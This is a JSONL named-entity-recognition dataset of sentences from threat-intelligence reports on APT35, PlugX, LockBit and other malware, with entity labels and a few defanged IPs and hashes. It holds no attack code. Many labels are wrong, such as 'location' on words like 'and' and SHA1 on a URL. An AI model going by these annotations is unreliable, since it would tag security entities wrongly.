{"id":1722,"text":"Palo Alto Networks App-ID technology can identify I2P traffic as well 51 other tunneling applications.","entities":[{"id":45115,"label":"SOFTWARE","start_offset":50,"end_offset":53},{"id":5127,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
{"id":8319,"text":"In later versions it was obfuscated with Base64.","entities":[],"relations":[],"Comments":[]}
{"id":1822,"text":"      Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk     ","entities":[{"id":5369,"label":"tools","start_offset":95,"end_offset":102}],"relations":[],"Comments":[]}
{"id":533,"text":"A script file is also used to download or install ransomware.","entities":[],"relations":[],"Comments":[]}
{"id":1463,"text":"We further investigated the following cases:  ","entities":[],"relations":[],"Comments":[]}
{"id":12602,"text":"There have been no indications that this attack has hit any other organization outside of those targeted; we do not believe that this family is currently in widespread use.","entities":[{"id":39180,"label":"identity","start_offset":52,"end_offset":55}],"relations":[],"Comments":[]}
{"id":3048,"text":"According to the Google Play store statistics, users have downloaded \u201cAntiVirus for Android\u2122\u201d more than one million times and the app was listed in Top 100 free apps in Tools category.","entities":[{"id":45757,"label":"SOFTWARE","start_offset":17,"end_offset":29},{"id":45758,"label":"malware","start_offset":70,"end_offset":92}],"relations":[],"Comments":[]}
{"id":14313,"text":"File lists of the directories are also stolen.","entities":[],"relations":[],"Comments":[]}
{"id":13054,"text":"Moyer is accused of offering 200 iPads to the Santa County Sheriff's office in exchange for concealed carry permits for four Apple employees.","entities":[],"relations":[],"Comments":[]}
{"id":13668,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":9237,"text":"Whatever the source, former CISA boss Chris Krebs warns that SMBs, education sector organizations, and state and local governments may be disproportionately affected as these often have fewer resources to spend on security.","entities":[{"id":28528,"label":"attack-pattern","start_offset":13,"end_offset":19},{"id":28530,"label":"location","start_offset":33,"end_offset":37},{"id":28532,"label":"location","start_offset":99,"end_offset":102},{"id":28533,"label":"location","start_offset":109,"end_offset":112},{"id":28534,"label":"location","start_offset":131,"end_offset":134},{"id":28535,"label":"location","start_offset":214,"end_offset":222}],"relations":[],"Comments":[]}
{"id":4939,"text":"In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.","entities":[{"id":50958,"label":"TIME","start_offset":3,"end_offset":11},{"id":50959,"label":"threat-actor","start_offset":32,"end_offset":37},{"id":50960,"label":"SOFTWARE","start_offset":73,"end_offset":90}],"relations":[],"Comments":[]}
{"id":5575,"text":"      Figure 2. Revix encrypting a QNAP NAS device      Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":5265,"text":"Will mobile become cyberespionage\u2019s main frontier?","entities":[],"relations":[],"Comments":[]}
{"id":13325,"text":" Justice officials say that the group's intrusions allowed the hackers to steal source code, customer account data, and personally identifiable information (PII).","entities":[{"id":41484,"label":"attack-pattern","start_offset":80,"end_offset":86},{"id":41485,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
{"id":4829,"text":"These phishing domains have been blocked through Google Safe Browsing \u2013 a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":50782,"label":"SOFTWARE","start_offset":49,"end_offset":69},{"id":50781,"label":"attack-pattern","start_offset":6,"end_offset":14}],"relations":[],"Comments":[]}
{"id":2291,"text":"The first 12 bytes of the OP_RETURN contains the IV, the last 16 bytes the GCM tag, while the middle section is the AES-256 GCM encrypted domain","entities":[],"relations":[],"Comments":[]}
{"id":3252,"text":"This includes the backdoor version (we observed V2 and V3), access keys, endpoint address, the bucket name for Alibaba Cloud OSS, and a URL for downloading the utility sc.exe that is used for taking screenshots.","entities":[{"id":48369,"label":"FILEPATH","start_offset":168,"end_offset":174},{"id":48368,"label":"Infrastucture","start_offset":111,"end_offset":128}],"relations":[],"Comments":[]}
{"id":3709,"text":"FIN7 gathers information on network shares.","entities":[{"id":49504,"label":"threat-actor","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
{"id":5906,"text":"On episode four of #TrendTalksBizSec.","entities":[],"relations":[],"Comments":[]}
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{"id":762,"text":"Instead, the block to be freed is marked and filled with 0x00 data and added to a pool.","entities":[],"relations":[],"Comments":[]}
{"id":6271,"text":" When Faghani first published his analysis this component of the malware was forcing the user\u2019s Facebook account to \u201clike\u201d specific posts on a community page titled Sab\u0131r.","entities":[{"id":19433,"label":"location","start_offset":143,"end_offset":152},{"id":19434,"label":"malware","start_offset":153,"end_offset":157}],"relations":[],"Comments":[]}
{"id":7632,"text":"But it also contains Kronos, a known banking trojan; and SmokeLoader, which is another payload downloader.","entities":[{"id":23751,"label":"malware","start_offset":21,"end_offset":27},{"id":23752,"label":"location","start_offset":53,"end_offset":56},{"id":23753,"label":"malware","start_offset":57,"end_offset":68}],"relations":[],"Comments":[]}
{"id":12685,"text":"The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).","entities":[{"id":39366,"label":"malware","start_offset":4,"end_offset":12},{"id":39367,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
{"id":4942,"text":"Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.","entities":[{"id":50964,"label":"identity","start_offset":78,"end_offset":81},{"id":50965,"label":"threat-actor","start_offset":91,"end_offset":96},{"id":50966,"label":"TIME","start_offset":166,"end_offset":175},{"id":50963,"label":"SOFTWARE","start_offset":9,"end_offset":19}],"relations":[],"Comments":[]}
{"id":2547,"text":" * These analytic detectors will trigger automatically for Cortex XDR Pro customers.","entities":[{"id":45591,"label":"SOFTWARE","start_offset":59,"end_offset":73}],"relations":[],"Comments":[]}
{"id":11437,"text":"On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.","entities":[{"id":34945,"label":"location","start_offset":37,"end_offset":45},{"id":34946,"label":"attack-pattern","start_offset":79,"end_offset":87},{"id":34947,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
{"id":4795,"text":"In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.","entities":[],"relations":[],"Comments":[]}
{"id":5278,"text":"With additional insights from Philippe Z Lin Note: This article has been updated on March 17, 2022, 2:00 a.m. ET to include Asus\u2019 security bulletin.","entities":[{"id":51321,"label":"identity","start_offset":124,"end_offset":128},{"id":51320,"label":"TIME","start_offset":84,"end_offset":112},{"id":51319,"label":"identity","start_offset":30,"end_offset":44}],"relations":[],"Comments":[]}
{"id":3598,"text":"Cassandra Crypter","entities":[{"id":49378,"label":"tools","start_offset":0,"end_offset":17}],"relations":[],"Comments":[]}
{"id":8531,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":26348,"label":"location","start_offset":32,"end_offset":35},{"id":26349,"label":"attack-pattern","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
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{"id":13929,"text":"MITRE ATT&CK tactics and techniques","entities":[],"relations":[],"Comments":[]}
{"id":3353,"text":" The malware abuses publicly available tools and cloud services for its malicious behavior.","entities":[],"relations":[],"Comments":[]}
{"id":398,"text":"Xpanse is even able to classify those servers which have not been upgraded to the most recent version.","entities":[{"id":46098,"label":"SOFTWARE","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
{"id":12025,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":37200,"label":"location","start_offset":32,"end_offset":35},{"id":37201,"label":"attack-pattern","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
{"id":1570,"text":"While not spreading as widely as the Petya\/NotPetya attacks, reports indicate that where Bad Rabbit has hit, it has caused severe disruption.","entities":[{"id":4690,"label":"malware","start_offset":37,"end_offset":42},{"id":4691,"label":"malware","start_offset":43,"end_offset":51},{"id":4692,"label":"malware","start_offset":89,"end_offset":99}],"relations":[],"Comments":[]}
{"id":4555,"text":"The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.","entities":[{"id":50365,"label":"attack-pattern","start_offset":53,"end_offset":76}],"relations":[],"Comments":[]}
{"id":4208,"text":"Fake Android porn app and Windows chat applications as lures","entities":[],"relations":[],"Comments":[]}
{"id":13030,"text":"In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.","entities":[{"id":48871,"label":"attack-pattern","start_offset":69,"end_offset":102},{"id":48872,"label":"TIME","start_offset":3,"end_offset":12}],"relations":[],"Comments":[]}
{"id":2309,"text":"The landing page contained a simple HTML page loading two scripts\u2014one for Capstone.js and another for the exploit chain.","entities":[{"id":47396,"label":"SOFTWARE","start_offset":74,"end_offset":85}],"relations":[],"Comments":[]}
{"id":2477,"text":" The only malicious activity we have seen in our telemetry related to SpringShell involves HTTP requests to URLs containing the tomcatwar.jsp filename associated with the SpringShell proof-of-concept script.","entities":[{"id":47550,"label":"vulnerability","start_offset":70,"end_offset":81},{"id":47551,"label":"FILEPATH","start_offset":128,"end_offset":141},{"id":47552,"label":"vulnerability","start_offset":171,"end_offset":182}],"relations":[],"Comments":[]}
{"id":2084,"text":"On the same taskbar, we also noticed the Telegram icon, which is a very popular messaging app for chatting \u2013 but is also used by threat actors such as LAPSUS$ to post news into specific channels.","entities":[{"id":6199,"label":"threat-actor","start_offset":151,"end_offset":158},{"id":47212,"label":"SOFTWARE","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]}
{"id":3117,"text":"The actions to take in response to this event are clear and simple:  As always, we will continue to watch this event closely and provide any updates that we can.","entities":[],"relations":[],"Comments":[]}
{"id":9983,"text":"   Figure 5. Compilation timestamp on 9002 RAT sample (top), timestamp of the malicious configuration (center), and snapshot of the program\u2019s update log (bottom)","entities":[{"id":30484,"label":"malware","start_offset":38,"end_offset":46},{"id":30485,"label":"location","start_offset":47,"end_offset":53},{"id":30486,"label":"location","start_offset":103,"end_offset":109},{"id":30487,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
{"id":7107,"text":"The \u201cdlpumgr32.exe\u201d and \u201cservTest\u201d lines are related to the new version of SysUpdate which we described earlier.","entities":[{"id":22256,"label":"location","start_offset":20,"end_offset":23},{"id":22257,"label":"location","start_offset":41,"end_offset":44},{"id":22258,"label":"malware","start_offset":75,"end_offset":84}],"relations":[],"Comments":[]}
{"id":4289,"text":"Some specific security measures organizations can implement:  Recognize social engineering attempts.","entities":[],"relations":[],"Comments":[]}
{"id":5167,"text":"       Tags  Cloud | APT & Targeted Attacks | Cyber Crime | Expert Perspective | Network | Articles, News, Reports","entities":[],"relations":[],"Comments":[]}
{"id":5529,"text":"By using this method, the hackers get access to the full card details, which have a higher resale value on the cybercrime black market.","entities":[],"relations":[],"Comments":[]}
{"id":6370,"text":"The IP 174.129.157[.]251 is hosted on Amazon AWS, and Palo Alto Networks Cortex Xpanse history shows the IP had TCP port 443 open from April 29, 2022, until May 23, 2022, with a self-signed SSL certificate impersonating Microsoft Security:","entities":[{"id":19752,"label":"IPV4","start_offset":7,"end_offset":24},{"id":19753,"label":"location","start_offset":50,"end_offset":53},{"id":19756,"label":"location","start_offset":190,"end_offset":193},{"id":19757,"label":"identity","start_offset":220,"end_offset":229},{"id":19758,"label":"location","start_offset":230,"end_offset":238}],"relations":[],"Comments":[]}
{"id":13252,"text":"PDB strings inside the MSI file","entities":[],"relations":[],"Comments":[]}
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{"id":14197,"text":"The security community, including government agencies, should quicken their pace in sharing actionable intelligence, in order to improve public and private organizations\u2019 threat hunting and detection efforts.","entities":[],"relations":[],"Comments":[]}
{"id":7321,"text":"     Figure 20.","entities":[],"relations":[],"Comments":[]}
{"id":9995,"text":"Dump password from SQL database printdat.dll RAT (PlugX variant)","entities":[{"id":30511,"label":"malware","start_offset":50,"end_offset":55}],"relations":[],"Comments":[]}
{"id":3580,"text":"Figure 4. Code showing how the watermarking is performed via the module attributes of the assembly","entities":[],"relations":[],"Comments":[]}
{"id":4992,"text":"Analysis of the exploit identified two different vulnerabilities in Chrome: After escaping the sandbox, the exploit downloaded another exploit in \/data\/data\/com.android.chrome\/p.so to elevate privileges and install the implant.","entities":[{"id":51051,"label":"SOFTWARE","start_offset":68,"end_offset":74},{"id":51052,"label":"FILEPATH","start_offset":146,"end_offset":180}],"relations":[],"Comments":[]}
{"id":3984,"text":"According to the guideline, newly acquired software may be compromised from the get-go.","entities":[],"relations":[],"Comments":[]}
{"id":13753,"text":"Because there is no \"OracleOciLib\" value, it loads the hardcoded DLL \"ociw32.dll\" instead, which triggers the malicious Waterbear DLL loader.","entities":[],"relations":[],"Comments":[]}
{"id":10372,"text":"Trend Micro\u2122 Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":31577,"label":"location","start_offset":6,"end_offset":11},{"id":31578,"label":"location","start_offset":26,"end_offset":34},{"id":31579,"label":"location","start_offset":55,"end_offset":60},{"id":31580,"label":"location","start_offset":105,"end_offset":115},{"id":31581,"label":"malware","start_offset":119,"end_offset":123},{"id":31582,"label":"attack-pattern","start_offset":139,"end_offset":153},{"id":31583,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
{"id":1280,"text":"An additional backdoor appears to be a new, custom-built tool, which we have not previously associated with DragonOK or any other attack group.","entities":[{"id":46654,"label":"threat-actor","start_offset":108,"end_offset":116}],"relations":[],"Comments":[]}
{"id":1108,"text":"In fact, we have only seen it in malware.","entities":[],"relations":[],"Comments":[]}
{"id":12261,"text":"Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including \u201cguest\u201d posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.","entities":[{"id":38032,"label":"threat-actor","start_offset":26,"end_offset":29},{"id":38033,"label":"location","start_offset":30,"end_offset":33},{"id":38034,"label":"location","start_offset":147,"end_offset":155},{"id":38035,"label":"location","start_offset":169,"end_offset":175},{"id":38036,"label":"location","start_offset":233,"end_offset":241}],"relations":[],"Comments":[]}
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{"id":356,"text":"Now, over four months since the Heartbleed disclosure, this attack reminds us of how serious this vulnerability is and how critical protection against it remains.","entities":[{"id":46054,"label":"vulnerability","start_offset":32,"end_offset":42}],"relations":[],"Comments":[]}
{"id":13195,"text":"  Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":2666,"text":" According to leak site data for LockBit 2.0, since its inception in June 2021, the RaaS has affected many companies globally, with top victims based in the U.S., Italy and Germany.  LockBit 2.0 has also impacted various victims across multiple industry verticals.","entities":[{"id":47855,"label":"threat-actor","start_offset":33,"end_offset":44},{"id":47858,"label":"location","start_offset":163,"end_offset":168},{"id":47860,"label":"threat-actor","start_offset":183,"end_offset":194},{"id":47856,"label":"TIME","start_offset":69,"end_offset":78},{"id":47857,"label":"location","start_offset":157,"end_offset":161},{"id":47859,"label":"location","start_offset":173,"end_offset":180}],"relations":[],"Comments":[]}
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{"id":9532,"text":"This malware family\u2019s source code is public, which is why it has many variants.","entities":[{"id":29243,"label":"attack-pattern","start_offset":22,"end_offset":28},{"id":29244,"label":"location","start_offset":37,"end_offset":43},{"id":29245,"label":"location","start_offset":65,"end_offset":69}],"relations":[],"Comments":[]}
{"id":7537,"text":"If communication with C&C fails, and if the PowerShell script is run from a command line, a few error messages written in simplified Mandarin Chinese are displayed, with a curious phrase that translates to \"waiting for dragon\":  \u65e0\u6cd5\u8bbf\u95ee\u672c\u5730\u8ba1\u7b97\u673a\u5bc4\u5b58\u5668 (Unable to access local computer register) \u4efb\u52a1\u8ba1\u5212\u7a0b\u5e8f\u8bbf\u95ee\u88ab\u62d2\u7edd (Mission Scheduler access is denied) \u65e0\u6cd5\u8fde\u63a5\u5230\u7f51\u5740\uff0c\u8bf7\u7b49\u5f85\u9f99 (Cannot connect to URL, please wait for dragon) \u65e0\u6cd5\u8fde\u63a5\u5230\u7f51\u5740\uff0c\u8bf7\u7b49\u5f85\u9f99 (Cannot connect to website, please wait for dragon)  These messages may not reveal anything about the real attackers as the malware writers sometimes like to embed false flags into their programs to confuse researchers.","entities":[{"id":23408,"label":"location","start_offset":33,"end_offset":36},{"id":23409,"label":"attack-pattern","start_offset":44,"end_offset":54},{"id":23411,"label":"location","start_offset":150,"end_offset":153},{"id":23412,"label":"location","start_offset":275,"end_offset":283},{"id":23413,"label":"location","start_offset":298,"end_offset":305},{"id":23414,"label":"location","start_offset":348,"end_offset":351},{"id":23415,"label":"location","start_offset":409,"end_offset":412},{"id":23416,"label":"location","start_offset":476,"end_offset":479},{"id":23417,"label":"location","start_offset":510,"end_offset":514}],"relations":[],"Comments":[]}
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{"id":3481,"text":"As shown in Figure 5, the strings highlighted in red function as a search tag to identify the location of the configuration information; those highlighted in orange pertain to the encrypted configuration that Protux will retrieve.","entities":[{"id":49287,"label":"malware","start_offset":209,"end_offset":215}],"relations":[],"Comments":[]}
{"id":9118,"text":"While Lurk only exploited a certain set of browser vulnerabilities, the exploit code also often changed.","entities":[{"id":28151,"label":"threat-actor","start_offset":6,"end_offset":10},{"id":28152,"label":"location","start_offset":11,"end_offset":15}],"relations":[],"Comments":[]}
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{"id":1730,"text":"Why should I care, what can it do to me?","entities":[],"relations":[],"Comments":[]}
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{"id":10947,"text":" Detection  fd1aac87399ad22234c503d8adb2ae9f0d950b6edf4456b1515a30100b5656a7      ","entities":[{"id":33276,"label":"SHA2","start_offset":12,"end_offset":76}],"relations":[],"Comments":[]}
{"id":5323,"text":"The malware authors decided to use the EVP_SealInit() function.","entities":[],"relations":[],"Comments":[]}
{"id":7781,"text":"Final command strings in document\u2019s \u201ctag\u201d properties.","entities":[],"relations":[],"Comments":[]}
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{"id":5501,"text":"The use of an exploit for a security flaw disclosed in December 2017 and their recent activities suggest Confucius is keenly trailing their targets.","entities":[{"id":51509,"label":"TIME","start_offset":55,"end_offset":68},{"id":51510,"label":"threat-actor","start_offset":105,"end_offset":114}],"relations":[],"Comments":[]}
{"id":4209,"text":"The first website uses adult content as a lure, via an Android application called Fuddi Duniya, which links to a website that displays nude pictures every day.","entities":[{"id":50022,"label":"SOFTWARE","start_offset":55,"end_offset":63},{"id":50023,"label":"malware","start_offset":82,"end_offset":94}],"relations":[],"Comments":[]}
{"id":6385,"text":" In this case, the sample is configured to communicate with IP 159.65.186[.]50 on TCP port 443.","entities":[{"id":19799,"label":"location","start_offset":9,"end_offset":13},{"id":19800,"label":"location","start_offset":19,"end_offset":25},{"id":19801,"label":"IPV4","start_offset":63,"end_offset":78}],"relations":[],"Comments":[]}
{"id":4511,"text":"By default, Gmail displays warnings and moves untrustworthy emails to the user\u2019s spam folder.","entities":[{"id":50312,"label":"SOFTWARE","start_offset":12,"end_offset":17}],"relations":[],"Comments":[]}
{"id":9361,"text":" Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":1493,"text":"This poses great potential security risks to both app users and app owners.","entities":[],"relations":[],"Comments":[]}
{"id":995,"text":" Our investigation began with a Chinese language search for \"edu mailbox\" in Taobao, which returned 99 results related to stolen university email accounts.","entities":[{"id":46491,"label":"SOFTWARE","start_offset":77,"end_offset":83}],"relations":[],"Comments":[]}
{"id":13265,"text":"The backdoor, TClient (BKDR_TCLT.ZDFB), is so named from its own PDB string.","entities":[{"id":41337,"label":"malware","start_offset":14,"end_offset":21}],"relations":[],"Comments":[]}
{"id":509,"text":"Based on the statistical data, the top 15 ransomware families only cover 52.3% of total ransomware cases.","entities":[],"relations":[],"Comments":[]}
{"id":11340,"text":"Once the attacker has logged in to the victim\u2019s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.","entities":[],"relations":[],"Comments":[]}
{"id":2223,"text":" Upon execution, we once again see the parent process check to determine if the malware is running within the \u2018cmd.exe\u2019 or \u2018explorer.exe\u2019 parent process.","entities":[{"id":45424,"label":"FILEPATH","start_offset":111,"end_offset":118},{"id":45425,"label":"FILEPATH","start_offset":124,"end_offset":136}],"relations":[],"Comments":[]}
{"id":7657,"text":"We couldn\u2019t find any of the IPs used in previous attacks.","entities":[],"relations":[],"Comments":[]}
{"id":1789,"text":"Infection chain      Figure 1. AvosLocker infection chain      According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:      Figure 2.","entities":[{"id":5293,"label":"malware","start_offset":31,"end_offset":41},{"id":46920,"label":"vulnerability","start_offset":127,"end_offset":178}],"relations":[{"id":260,"from_id":5293,"to_id":46920,"type":"exploits"}],"Comments":[]}
{"id":14339,"text":"The author used the other Twitter handle in Figure 1, rifusthegr8, to tweet about Virtual Girlfriend and retweet Round Year Fun\u2019s own Twitter promotion of the game.","entities":[{"id":48570,"label":"malware","start_offset":81,"end_offset":100},{"id":48571,"label":"SOFTWARE","start_offset":134,"end_offset":142},{"id":48572,"label":"SOFTWARE","start_offset":26,"end_offset":34}],"relations":[],"Comments":[]}
{"id":1515,"text":" Either path the \"getsetup.rar\" file takes is meant to ensure that it is installed as a startup service, ensuring persistence.   Once the file is running it creates a process identifier (PID) so that only one instance is running at any given time.","entities":[{"id":46785,"label":"FILEPATH","start_offset":18,"end_offset":30}],"relations":[],"Comments":[]}
{"id":4893,"text":"In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.","entities":[],"relations":[],"Comments":[]}
{"id":6048,"text":"We unfortunately were unable to recover any of the stages that followed the initial RCE.","entities":[],"relations":[],"Comments":[]}
{"id":1207,"text":" Below are the details of eight SMS-based IAP SDKs discovered by Wildfire:","entities":[{"id":46600,"label":"SOFTWARE","start_offset":65,"end_offset":73}],"relations":[],"Comments":[]}
{"id":2788,"text":"Our researchers analyzed over 1,000 of sites and what they found was very telling.","entities":[],"relations":[],"Comments":[]}
{"id":12111,"text":"The following are samples using this evasion: https:\/\/www.virustotal.com\/gui\/file\/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f\/detection","entities":[{"id":37471,"label":"location","start_offset":14,"end_offset":17},{"id":37472,"label":"SHA1","start_offset":46,"end_offset":156}],"relations":[],"Comments":[]}
{"id":4702,"text":"We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.","entities":[],"relations":[],"Comments":[]}
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{"id":1576,"text":" Because the initial attack vector is through bogus updates, Bad Rabbit attacks can be prevented by only getting Adobe Flash updates from the Adobe web site.","entities":[{"id":4708,"label":"malware","start_offset":61,"end_offset":71},{"id":46832,"label":"SOFTWARE","start_offset":113,"end_offset":124},{"id":46833,"label":"identity","start_offset":142,"end_offset":147}],"relations":[],"Comments":[]}
{"id":11440,"text":"And we offer other advanced phishing and malware protection to administrators to better protect their users.","entities":[{"id":34952,"label":"location","start_offset":0,"end_offset":3},{"id":34953,"label":"attack-pattern","start_offset":28,"end_offset":36},{"id":34954,"label":"location","start_offset":37,"end_offset":40},{"id":34955,"label":"location","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
{"id":978,"text":"We expect the number of affected apps and users to increase as more developers incorporate the newer version of Taomike library.","entities":[{"id":46475,"label":"identity","start_offset":112,"end_offset":119}],"relations":[],"Comments":[]}
{"id":12610,"text":"It uses PowerShell reflective loading of .NET executables to run the said .DLL file:  Figure 1. Reflective loading of the .DLL file","entities":[{"id":39193,"label":"attack-pattern","start_offset":8,"end_offset":18}],"relations":[],"Comments":[]}
{"id":4191,"text":"Deobfuscate\/Decode Files or Information","entities":[{"id":49994,"label":"attack-pattern","start_offset":0,"end_offset":39}],"relations":[],"Comments":[]}
{"id":12055,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":37304,"label":"threat-actor","start_offset":15,"end_offset":20},{"id":37306,"label":"location","start_offset":64,"end_offset":74},{"id":37307,"label":"location","start_offset":78,"end_offset":82},{"id":37308,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
{"id":14373,"text":"Trend Micro\u2122 Smart Protection for Endpoints with Maximum XGen\u2122 security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint\u2014the broadest possible protection against advanced attacks.        Tags  APT & Targeted Attacks | Endpoints | Research | Mobile | Articles, News, Reports | Network","entities":[],"relations":[],"Comments":[]}
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{"id":4786,"text":"We appreciate the Committee\u2019s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.","entities":[{"id":50686,"label":"identity","start_offset":69,"end_offset":96}],"relations":[],"Comments":[]}
{"id":3617,"text":"In our new research blog \u201cFreeMilk: A Highly Targeted Spear Phishing Campaign\u201d, our Unit 42 research team has discovered an attack campaign that takes spear phishing targeting to the next level by hijacking in-progress email conversations.","entities":[{"id":49399,"label":"identity","start_offset":84,"end_offset":105},{"id":49400,"label":"attack-pattern","start_offset":151,"end_offset":165},{"id":49401,"label":"attack-pattern","start_offset":197,"end_offset":238},{"id":49402,"label":"campaign","start_offset":131,"end_offset":139}],"relations":[{"id":791,"from_id":49402,"to_id":49400,"type":"uses"},{"id":792,"from_id":49402,"to_id":49401,"type":"uses"}],"Comments":[]}
{"id":6494,"text":"After this, the file C:\\users\\public\\Browser64.exe is run.","entities":[],"relations":[],"Comments":[]}
{"id":270,"text":"This includes blocking hundreds of domain names, IP addresses and URLs for our customers related to newly discovered attacks.","entities":[],"relations":[],"Comments":[]}
{"id":6942,"text":"Our analysis shows that the Crimson RAT malware is compiled as a .NET binary with minimal obfuscation.","entities":[{"id":21732,"label":"malware","start_offset":28,"end_offset":39}],"relations":[],"Comments":[]}
{"id":1291,"text":"This allows the malware to indirectly execute a command within the cmd.exe process.","entities":[{"id":3938,"label":"malware","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
{"id":268,"text":"We are actively collaborating with our partners in industry and governments to share our analysis and findings based on our global threat telemetry network.","entities":[],"relations":[],"Comments":[]}
{"id":8435,"text":"And we offer other advanced phishing and malware protection to administrators to better protect their users.","entities":[{"id":25993,"label":"location","start_offset":0,"end_offset":3},{"id":25994,"label":"attack-pattern","start_offset":28,"end_offset":36},{"id":25995,"label":"location","start_offset":37,"end_offset":40},{"id":25996,"label":"location","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
{"id":1162,"text":"As this functionality has not migrated outside the Allaple family, either the quality of the code is bad (see: face rolling), or it's simply not available to other malware developers.  The fifth is very likely as a change to the specific functionality these mutexes protect, with every change to any functionality, is simply not a practical method of development.","entities":[{"id":46578,"label":"malware","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
{"id":6775,"text":"The attacks we found all arrived through targeted emails (MITRE ATT&CK framework ID T1193).","entities":[],"relations":[],"Comments":[]}
{"id":9980,"text":" Delving into 9002 RAT, we found that it was compiled on July 17, 2018, and that the configuration files inside update.zip were created on July 18.","entities":[{"id":30471,"label":"malware","start_offset":14,"end_offset":22},{"id":30473,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
{"id":9901,"text":"Source: Trend Micro\u2019s Smart Protection Network","entities":[{"id":30217,"label":"attack-pattern","start_offset":0,"end_offset":6},{"id":30219,"label":"location","start_offset":28,"end_offset":38}],"relations":[],"Comments":[]}
{"id":2267,"text":"Google TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":47335,"label":"identity","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
{"id":1027,"text":" Figure 6: Sending an email through a newly bought customized EDU account.","entities":[],"relations":[],"Comments":[]}
{"id":1645,"text":"That adds up to 2 million euros per month, but the actual number is likely much lower.","entities":[],"relations":[],"Comments":[]}
{"id":14167,"text":"Lastly, we have an extensive array of global threat intelligence that will allow us to ensure we can proactively detect and protect our customers.","entities":[],"relations":[],"Comments":[]}
{"id":13568,"text":"The attackers delivered a variety of different XSS scripts, which could include one or more of the following behaviors: Page Grabber","entities":[{"id":51649,"label":"attack-pattern","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
{"id":8859,"text":"Usually, svchost is launched by services.exe, so the action done by PlugX could be used as a trigger for investigation.","entities":[{"id":27416,"label":"location","start_offset":53,"end_offset":59},{"id":27417,"label":"malware","start_offset":68,"end_offset":73}],"relations":[],"Comments":[]}
{"id":14041,"text":"We can also determine that this configuration was created manually because the default path installation does not support static compilation.","entities":[],"relations":[],"Comments":[]}
{"id":6511,"text":" Check for Skype connectivity Download and install Skype Encoded communication with its C2 Execute commands sent from the C2 server Get multifactor authentication settings Get the currently logged on user and OS version  Earth Vetala Footprint Earth Vetala conducted an extensive offensive campaign targeting multiple countries.","entities":[{"id":20167,"label":"location","start_offset":1,"end_offset":6},{"id":20168,"label":"location","start_offset":39,"end_offset":42},{"id":20171,"label":"location","start_offset":205,"end_offset":208},{"id":20172,"label":"threat-actor","start_offset":221,"end_offset":233},{"id":20173,"label":"threat-actor","start_offset":244,"end_offset":256},{"id":20174,"label":"location","start_offset":290,"end_offset":298}],"relations":[],"Comments":[]}
{"id":9567,"text":"HYPERSCRAPE won't run unless in a directory with other file dependencies.","entities":[],"relations":[],"Comments":[]}
{"id":4110,"text":"As shown in Figure 11, the content of the response should contain the sequence number used to verify if the received data comes from the correct source and two blocks of encrypted data.","entities":[],"relations":[],"Comments":[]}
{"id":1299,"text":"Due to the previously written registry key, this file will execute when the machine is restarted and the current user logs in.","entities":[],"relations":[],"Comments":[]}
{"id":4890,"text":"Cookie Theft, also known as \u201cpass-the-cookie attack,\u201d is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":50907,"label":"attack-pattern","start_offset":0,"end_offset":12},{"id":50908,"label":"attack-pattern","start_offset":29,"end_offset":51},{"id":14981,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]}
